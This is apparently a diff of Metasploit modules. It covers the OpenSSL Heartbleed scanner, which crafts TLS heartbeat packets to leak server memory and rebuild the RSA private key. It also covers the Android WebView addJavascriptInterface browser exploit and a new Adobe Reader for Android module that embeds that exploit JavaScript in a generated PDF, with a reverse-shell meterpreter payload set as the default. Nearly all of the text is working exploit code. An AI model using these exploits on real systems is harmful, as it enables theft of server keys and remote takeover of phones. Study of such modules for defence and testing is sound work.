vprint_status("#{peer} - e: #{e}")
print_status("#{peer} - #{Time.now.getutc} - Starting.")
datastore['MAX_KEYTRIES'].times {
max_keytries.times {
# Loop up to MAX_KEYTRIES times, looking for keys
if count % datastore['STATUS_EVERY'] == 0
if count % status_every == 0
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
end
p, q = get_factors(bleed, n) # Try to find factors in mem
bleedresult = bleed
return unless bleedresult
p, q = get_factors(bleedresult, n) # Try to find factors in mem
unless p.nil? || q.nil?
key = key_from_pqe(p, q, e)
@ -437,75 +568,32 @@ class Metasploit3 < Msf::Auxiliary
print_status(key.export)
path = store_loot(
"openssl.heartbleed.server",
"text/plain",
'openssl.heartbleed.server',
'text/plain',
rhost,
key.export,
nil,
"OpenSSL Heartbleed Private Key"
'OpenSSL Heartbleed Private Key'
)
print_status("#{peer} - Private key stored in #{path}")
return
end
count += 1
}
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.")
end
def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack("n") # Payload Length: 65535
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
hello_data << [time_epoch].pack("N") # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
hello_data << [hello_data_extensions.length].pack("n")
hello_data << hello_data_extensions
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
def ssl_record(type, data)
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
record << data
end
def get_ne()
# Fetch rhost's cert, return public key values
connect(true, {"SSL" => true}) #Force SSL
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
disconnect
unless cert
# Returns the N and E params from the public server certificate
def get_ne
unless @cert
print_error("#{peer} - No certificate found")
return
end
return cert.public_key.params["n"], cert.public_key.params["e"]
return @cert.public_key.params['n'], @cert.public_key.params['e']
end
# Tries to find pieces of the private key in the provided data
def get_factors(data, n)
# Walk through data looking for factors of n
psize = n.num_bits / 8 / 2
@ -527,36 +615,7 @@ class Metasploit3 < Msf::Auxiliary
return nil, nil
end
def establish_connect
connect
unless datastore['TLS_CALLBACK'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACK']}")
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return nil
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
disconnect
return nil
end
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
true
end
# Generates the private key from the P, Q and E values
def key_from_pqe(p, q, e)
# Returns an RSA Private Key from Factors
key = OpenSSL::PKey::RSA.new()
@ -577,5 +636,170 @@ class Metasploit3 < Msf::Auxiliary
return key
end
#
# SSL/TLS packet methods
#
# Creates and returns a new SSL record with the provided data
def ssl_record(type, data)
record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn')
record << data
end
# generates a CLIENT_HELLO ssl/tls packet
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS
hello_data << [time_epoch].pack('N') # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
hello_data << [hello_data_extensions.length].pack('n')
hello_data << hello_data_extensions
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack('n') # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
# Parse SSL header
def parse_ssl_record(data)
ssl_records = []
remaining_data = data
ssl_record_counter = 0
while remaining_data && remaining_data.length > 0
ssl_record_counter += 1
ssl_unpacked = remaining_data.unpack('CH4n')
return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3
ssl_type = ssl_unpacked[0]
ssl_version = ssl_unpacked[1]
ssl_len = ssl_unpacked[2]
vprint_debug("SSL record ##{ssl_record_counter}:")
vprint_debug("\tType: #{ssl_type}")
vprint_debug("\tVersion: 0x#{ssl_version}")
vprint_debug("\tLength: #{ssl_len}")
if ssl_type != HANDSHAKE_RECORD_TYPE
vprint_debug("\tWrong Record Type! (#{ssl_type})")
else
ssl_data = remaining_data[5, ssl_len]
handshakes = parse_handshakes(ssl_data)
ssl_records << {
:type => ssl_type,
:version => ssl_version,
:length => ssl_len,
:data => handshakes
}
end
remaining_data = remaining_data[(ssl_len + 5)..-1]
end
ssl_records
end
# Parse Handshake data returned from servers
def parse_handshakes(data)
# Can contain multiple handshakes
remaining_data = data
handshakes = []
handshake_count = 0
while remaining_data && remaining_data.length > 0
hs_unpacked = remaining_data.unpack('CCn')
next if hs_unpacked.nil? or hs_unpacked.length < 3
hs_type = hs_unpacked[0]
hs_len_pad = hs_unpacked[1]
hs_len = hs_unpacked[2]
hs_data = remaining_data[4, hs_len]
handshake_count += 1
vprint_debug("\tHandshake ##{handshake_count}:")
vprint_debug("\t\tLength: #{hs_len}")
handshake_parsed = nil
case hs_type
when HANDSHAKE_SERVER_HELLO_TYPE
vprint_debug("\t\tType: Server Hello (#{hs_type})")
handshake_parsed = parse_server_hello(hs_data)
when HANDSHAKE_CERTIFICATE_TYPE
vprint_debug("\t\tType: Certificate Data (#{hs_type})")
handshake_parsed = parse_certificate_data(hs_data)
when HANDSHAKE_KEY_EXCHANGE_TYPE
vprint_debug("\t\tType: Server Key Exchange (#{hs_type})")
# handshake_parsed = parse_server_key_exchange(hs_data)
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
vprint_debug("\t\tType: Server Hello Done (#{hs_type})")
else
vprint_debug("\t\tType: Handshake type #{hs_type} not implemented")
end
handshakes << {
:type => hs_type,
:len => hs_len,
:data => handshake_parsed
}
remaining_data = remaining_data[(hs_len + 4)..-1]
end
handshakes
end
# Parse Server Hello message
def parse_server_hello(data)
version = data.unpack('H4')[0]
vprint_debug("\t\tServer Hello Version: 0x#{version}")
random = data[2,32].unpack('H*')[0]
vprint_debug("\t\tServer Hello random data: #{random}")
session_id_length = data[34,1].unpack('C')[0]
vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}")
session_id = data[35,session_id_length].unpack('H*')[0]
vprint_debug("\t\tServer Hello Session ID: #{session_id}")
# TODO Read the rest of the server hello (respect message length)
# TODO: return hash with data
true
end
# Parse certificate data
def parse_certificate_data(data)
# get certificate data length
unpacked = data.unpack('Cn')
cert_len_padding = unpacked[0]
cert_len = unpacked[1]
vprint_debug("\t\tCertificates length: #{cert_len}")
# contains multiple certs
already_read = 3
cert_counter = 0
while already_read < cert_len
start = already_read
cert_counter += 1
# get single certificate length
single_cert_unpacked = data[start, 3].unpack('Cn')
single_cert_len_padding = single_cert_unpacked[0]
single_cert_len = single_cert_unpacked[1]
vprint_debug("\t\tCertificate ##{cert_counter}:")
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
certificate_data = data[(start + 3), single_cert_len]
cert = OpenSSL::X509::Certificate.new(certificate_data)
# First received certificate is the one from the server
@cert = cert if @cert.nil?
#vprint_debug("Got certificate: #{cert.to_text}")
vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
already_read = already_read + single_cert_len + 3
end
# TODO: return hash with data
true
end
end

View File

@ -4,15 +4,16 @@
##
require 'msf/core'
require 'msf/core/exploit/android'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Android
autopwn_info({
:os_flavor => "Android",
:arch => ARCH_ARMLE,
autopwn_info(
:os_flavor => 'Android',
:javascript => true,
:rank => ExcellentRanking,
:vuln_test => %Q|
@ -23,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote
} catch(e) {}
}
|
})
)
def initialize(info = {})
super(update_info(info,
@ -56,65 +57,97 @@ class Metasploit3 < Msf::Exploit::Remote
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
['URL', 'http://50.56.33.56/blog/?p=314'],
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
['CVE', '2012-6636'], # original CVE for addJavascriptInterface
['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
['EDB', '31519'],
['OSVDB', '97520']
],
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'DefaultOptions' => { 'PrependFork' => true },
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Dec 21 2012',
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:os_flavor => "Android",
:arch => ARCH_ARMLE
:os_flavor => 'Android'
}
))
end
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
# on requests for the static javascript file
def on_request_uri(cli, req)
if req.uri.end_with?('js')
print_status("Serving javascript")
send_response(cli, js, 'Content-type' => 'text/javascript')
if req.uri =~ /\.js/
serve_static_js(cli, req)
else
super
end
end
# The browser appears to be vulnerable, serve the exploit
def on_request_exploit(cli, req, browser)
print_status("Serving exploit HTML")
send_response_html(cli, html)
arch = normalize_arch(browser[:arch])
print_status "Serving #{arch} exploit..."
send_response_html(cli, html(arch))
end
def js
# Called when a client requests a .js route.
# This is handy for post-XSS.
def serve_static_js(cli, req)
arch = req.qstring['arch']
response_opts = { 'Content-type' => 'text/javascript' }
if arch.present?
print_status("Serving javascript for arch #{normalize_arch arch}")
send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
else
print_status("Serving arch detection javascript")
send_response(cli, static_arch_detect_js, response_opts)
end
end
# This is served to requests for the static .js file.
# Because we have to use javascript to detect arch, we have 3 different
# versions of the static .js file (x86/mips/arm) to choose from. This
# small snippet of js detects the arch and requests the correct file.
def static_arch_detect_js
%Q|
function exec(obj) {
// ensure that the object contains a native interface
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
var arches = {};
arches['#{ARCH_ARMLE}'] = /arm/i;
arches['#{ARCH_MIPSLE}'] = /mips/i;
arches['#{ARCH_X86}'] = /x86/i;
// get the runtime so we can exec
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
// get the process name, which will give us our data path
var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
var ch, path = '/data/data/';
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
path += '/#{Rex::Text.rand_text_alpha(8)}';
// build the binary, chmod it, and execute it
m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
m.invoke(null, null).exec([path]);
return true;
var arch = null;
for (var name in arches) {
if (navigator.platform.toString().match(arches[name])) {
arch = name;
break;
}
}
for (i in top) { if (exec(top[i]) === true) break; }
if (arch) {
// load the script with the correct arch
var script = document.createElement('script');
script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
script.setAttribute('type', 'text/javascript');
// ensure body is parsed and we won't be in an uninitialized state
setTimeout(function(){
var node = document.body \|\| document.head;
node.appendChild(script);
}, 100);
}
|
end
def html
"<!doctype html><html><body><script>#{js}</script></body></html>"
# @return [String] normalized client architecture
def normalize_arch(arch)
if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
end
def html(arch)
"<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>"
end
end

View File

@ -0,0 +1,137 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/fileformat'
require 'msf/core/exploit/pdf'
require 'msf/core/exploit/android'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
include Msf::Exploit::Android
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit',
'Description' => %q{
Adobe Reader versions less than 11.2.0 exposes insecure native
interfaces to untrusted javascript in a PDF. This module embeds the browser
exploit from android/webview_addjavascriptinterface into a PDF to get a
command shell on vulnerable versions of Reader.
},
'License' => MSF_LICENSE,
'Author' => [
'Yorick Koster', # discoverer
'joev' # msf module
],
'References' =>
[
[ 'CVE', '2014-0514' ],
[ 'EDB', '32884' ],
[ 'OSVDB', '105781' ],
],
'Platform' => 'android',
'DefaultOptions' => {
'PAYLOAD' => 'android/meterpreter/reverse_tcp'
},
'Targets' => [
[ 'Android ARM', {
'Platform' => 'android',
'Arch' => ARCH_ARMLE
}
],
[ 'Android MIPSLE', {
'Platform' => 'android',
'Arch' => ARCH_MIPSLE
}
],
[ 'Android X86', {
'Platform' => 'android',
'Arch' => ARCH_X86
}
]
],
'DisclosureDate' => 'Apr 13 2014',
'DefaultTarget' => 0
))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
print_status("Generating Javascript exploit...")
js = add_javascript_interface_exploit_js(ARCH_ARMLE)
print_status("Creating PDF...")
file_create(pdf(js))
end
def trailer(root_obj)
id = @xref.keys.max+1
"trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol
end
def add_compressed(n, data)
add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data)))
end
def pdf(js)
self.eol = "\x0d"
@xref = {}
@pdf = header('1.6')
add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9")
add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw")
add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r")
add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo")
add_compressed(7, "eJzjtbHRd84vzStRMNJ3yywqLlGwUDBQCNL3SYQzQyoLUvX9S0tyMvNSi+3seAF54Q8a")
add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==")
add_compressed(22, "eJzjtbHRD1Mw1DMytbPjBQARcgJ6")
add_compressed(10, "eJzjtbHRd85JLC72TSxQMDRUMFAI0vdWMDQCMwISi1LzSkKKUlMVDI3RRPxSK0q8UysVDPVDKgtS9YNLikqTwRJB+fkldna8AIaCG78=")
add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR")
add_compressed(12, "eJzjtbHR91YwNFUwUAjSD1AwNAAzgvVd8pNLc1PzSuzseAGGCwiD")
add_compressed(13, "eJzjtbHR9yvNLY42UDA0UTBQCIq1s+MFADohBRA=")
add_compressed(14, "eJzjjTY0VTBQCFKAULG8ABzfA0M=")
add_compressed(15, "eJzjtbHRd9YPLkgpciwq0feONlAwjNUPUDA0UjBQCNIPSFcwMgOzgvWB8pnJOal2drwAYtsNjA==")
add_compressed(26, "eJx1jk0KwkAMhU/QO+QEnRmnrQiloBXEhVBaV4qLoQ0iyGSYH9Dbm7ZrAwn54L2XZHUt9tZSDFAokNCLlmxEy1wWK3tyB/rcZS5h7kpteG53PB/i5Ck50KvyfARdLtsFp5f5a+puoHIpOuP5DqhqsfQYKPkRAz/U0pv84MyIMwwStJ41DZfoKZqIIMUQfRrjGhKYr1+HnPnEpsl+Bag7pA==")
add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA")
add_compressed(54, "eJwBzwAw/w08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE1ND4+c3RyZWFtDUiJXE7BDcIwFLv3K/IFvlatYzAG66bgYSDM2/BQa6cDXWV7gv69m7d5SEISCKGs57axjpEklDFbd/MX1GQCc3jgRMaEN2oNDSVHrMeoep358/SgXQjse9Dx5w722naW29AhTU2RQ2zLkSivJNwABQyuE0pitYGO1SLSiJbxJL0XjaDpibv76UiZ7wvI+cx/rWb1V4ABAMukNiwNZW5kc3RyZWFtDcyfYBU=")
add_compressed(34, "eJzjtbHRdw5WMDZTMFAI0g/WDylKzCsuSCxKzUuutLPjBQB75gjK")
add_compressed(35, "eJzj1ZA6peCnxVrNzHD3v1xSmdpmTV4AOosGFg==")
add_compressed(33, "eJzjjdb3dHZ2SixOTVEwslQwUAiK5QUANnUE/Q==")
add_compressed(29, "eJwBEQHu/g08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDIxNi9OIDE+PnN0cmVhbQ1IiWJgYJzh6OLkyiTAwJCbV1LkHuQYGREZpcB+noGNgZkBDBKTiwscAwJ8QOy8/LxUBgzw7RoDI4i+rAsyC1MeL2BNLigqAdIHgNgoJbU4GUh/AeLM8pICoDhjApAtkpQNZoPUiWSHBDkD2R1ANl9JagVIjME5v6CyKDM9o0TB0NLSUsExJT8pVSG4srgkNbdYwTMvOb+oIL8osSQ1BagWagcI8LsXJVYquCfm5iYqGOkZkehyIgAoLCGszyHgMGIUO48QQ4Dk0qIyKJORyZiBASDAAEnGOC8NZW5kc3RyZWFtDYkear8=")
add_compressed(36, "eJzjjdb3dHZ2SixOTVEwNlAwUAiK5QUANj4E9Q==")
add_compressed(30, "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")
add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=")
add_compressed(43, "eJzjtbHR9wpWMDFTMFAI0g/W90osSwxOLsosKLGz4wUAaC0Hzw==")
add_compressed(51, "eJxNjtEKgkAQRb9g/mG/wHHRTEF8kPCpyDIoEB/UJivQrXUF+/t2Y4seLnPhzj1ciGNMUzGXruMyo4Bzxwt9tozMXVSYCdkfXg9iHNc0dOrKAh83tZK3ueS2ZPTnK9zTKCbZ0qjxuRRtQarEfJVVSYLF1CjN+4DRkPG0be7UqiQZlaS6B8460CC7xQu/YziTBBd46gfOAjeyYRj9wiMMsAMazpb0BnLmPE4=")
js = Zlib::Deflate.deflate(js)
add_object(46, "\x0d<</Filter[/FlateDecode]/Length #{js.length}>>stream\x0d#{js}\x0dendstream\x0d")
add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==")
add_compressed(9, "eJzjtbHRd0ktLok2MlMwUAjSj4iMAtLmlkYKeaU5ObH6AYlFqXklChZgyWBXBUNTMCsksyQnVePff4YshmIGPYYShgqGEk07O14AWScVgw==")
add_compressed(17, "eJzjtbHR90vMTS2ONjZVMFAIUjAyAFGxdna8AF4CBlg=")
add_compressed(18, "eJzjtbHR90vMTS2ONrRUMFAIUjAyAFGxdna8AF4gBlo=")
